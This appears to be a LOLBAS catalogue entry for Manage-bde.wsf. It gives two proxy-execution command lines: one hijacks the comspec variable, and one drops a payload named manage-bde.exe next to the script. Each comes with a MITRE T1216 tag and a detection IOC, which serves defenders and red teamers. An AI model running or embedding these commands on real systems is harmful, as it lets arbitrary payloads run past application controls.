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LOL · Script

Manage-bde.wsf

2 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.

Use Proxy execution from script

set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf
Context
user
Native
Execute
MITRE
T1216
Detection
IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations

Execute

Execution Windows

Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.

Use Proxy execution from script

copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
Context
user
Native
Execute
MITRE
T1216
Detection
IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations